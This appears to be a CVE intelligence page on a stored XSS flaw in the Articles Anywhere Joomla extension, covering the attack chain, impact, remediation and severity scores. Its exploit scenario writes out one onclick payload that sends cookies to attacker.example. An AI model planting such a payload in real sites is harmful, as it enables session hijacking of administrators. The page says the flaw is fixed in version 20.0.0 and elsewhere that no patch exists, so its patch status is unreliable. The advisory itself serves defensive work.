Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain Joomla Author credentials
-
DeliveryCraft article with malicious onclick/onmouseover link option in Articles Anywhere syntax
-
ExploitArticle bypasses Joomla content filter (inert syntax stage)
-
InstallExtension renders event handler as live HTML attribute
-
C2Privileged victim loads article page
-
ExecuteJavaScript executes in victim browser
-
ImpactSession token or credentials exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Three concrete prerequisites must be met: (1) the Articles Anywhere Free or Pro extension must be installed and enabled on the Joomla site; (2) the attacker must hold at minimum a Joomla Author account, granting the ability to create or edit articles; (3) a victim with a meaningful browser session - typically an Editor, Publisher, or Administrator - must load a page rendering the attacker-controlled article with Articles Anywhere active. Exploitation is limited to authenticated attackers (no unauthenticated path exists); the required Author role is generally the lowest content-contributor role in Joomla, which limits but does not eliminate the attacker population. Sites that do not grant Author or higher accounts to untrusted users are not directly at risk. |
| Impact | The provided CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:H/UI:N - score 7.5) warrants scrutiny on two metrics. PR:H (High privilege) appears overstated: the description explicitly names the 'article author trust level' as the relevant control boundary, and Joomla's Author role is a low-privilege content-contributor role, not an administrator. AT:P (attack requirements present) correctly captures the prerequisite that the extension must be installed. The impact metrics VC:H/VI:H reflect potential session hijack and content manipulation against victims such as site administrators who view compromised articles, which is realistic for stored XSS. No CISA KEV listing and no public POC have been identified, keeping the realistic exploitation probability lower than the impact metrics alone suggest. The primary elevated risk factor is the architectural filter bypass, which is not addressable by Joomla permission hardening alone. |
| Exploit ScenarioDerived | An authenticated Joomla Author crafts an article body using Articles Anywhere plugin syntax and embeds a link option such as onclick="document.location='https://attacker.example/steal?c='+document.cookie". Because Joomla's content filter sees inert plugin syntax rather than HTML, the payload passes. When a site administrator subsequently previews or publishes the article, Articles Anywhere renders the event handler as a live HTML attribute and the JavaScript executes in the administrator's browser, enabling session token theft. No public exploit code has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 14, 2026
Stored XSS in regularlabs.com's Articles Anywhere Joomla extension (versions prior to 20.0.0) lets authenticated article authors inject arbitrary JavaScript via link event handler options (onclick, onmouseover) in plugin syntax tags. The injected payload bypasses Joomla's built-in Author content filter because Articles Anywhere renders the event handler attributes into live HTML after the CMS filter has already processed the content. No public exploit has been identified at time of analysis, but the filter-bypass is architectural and cannot be mitigated without patching.
RemediationAI
Upgrade Articles Anywhere to version 20.0.0 or later, which enforces author trust-level checking before rendering link options as HTML event attributes; the vendor advisory is at https://www.regularlabs.com/. As a compensating control prior to patching, restrict Articles Anywhere plugin-tag processing to Editor, Publisher, or Administrator roles only via Joomla's component permission settings, preventing Author-role users from submitting content that the extension will parse - note this breaks article-embedding workflows for Authors and must be weighed against site publishing requirements. Alternatively, disabling the Articles Anywhere plugin entirely eliminates the attack surface but removes all extension functionality site-wide.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Articles Anywhere (CPE: cpe:2.3:a:regularlabs.com:articles_anywhere_(free,_pro)_extension_for_joomla:*:*:*:*:*:*:*:*) is a regularlabs.com extension that embeds Joomla article content via custom plugin tags. The extension parses link options from those tags and outputs them directly as HTML attributes. The root cause (CWE-79, stored Cross-site Scripting) arises because the extension does not validate the article author's trust level before emitting event-handler attributes such as onclick and onmouseover, and because the transformation from plugin syntax to executable HTML occurs downstream of Joomla's core content sanitiser - the sanitiser sees inert plugin syntax and passes it; Articles Anywhere then converts it to live attribute code.
Know when Articles Anywhere Free Pro Extension For Joomla gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/S:N/AU:N
Author-level CMS access (PR:L) required; victim must view the article (UI:R, S:C) as is standard for stored XSS with browser-context impact.
Primary rating from Vendor (Joomla).
CVSS VectorVendor: Joomla
DescriptionCVE.org
Joomla Extension - regularlabs.com - Privileged stored XSS via link option in Articles Anywhere extension for Joomla < 20.0.0 - Articles Anywhere accepts link options such as onclick and onmouseover. In affected versions, those options become real HTML event attributes without checking the article author's trust level. The plugin syntax survives Joomla's normal Author content filter because the executable HTML is generated later.
Executive ViewAI
The Articles Anywhere Joomla extension (versions before 20.0.0) contains a stored cross-site scripting vulnerability that allows authenticated article authors to inject malicious JavaScript into published content, bypassing Joomla's content filter. This compromises website integrity and reader safety, creating risk of credential theft, session hijacking, or malware distribution to all site visitors. Organizations using this extension face immediate and persistent content manipulation risk as long as the vulnerability remains unpatched.
No vendor-released patch identified at time of analysis. Interim mitigations: restrict article author privileges to essential personnel only and require approval workflow; implement Web Application Firewall rules blocking event handler attributes in article content; conduct forensic review of published articles for suspicious code; disable article preview features; enforce Content Security Policy headers to block inline script execution; monitor access logs and browser security logs for XSS execution patterns; establish content audit trail with version history enabled.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-77310
GHSA-jvv6-hc62-cm99
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB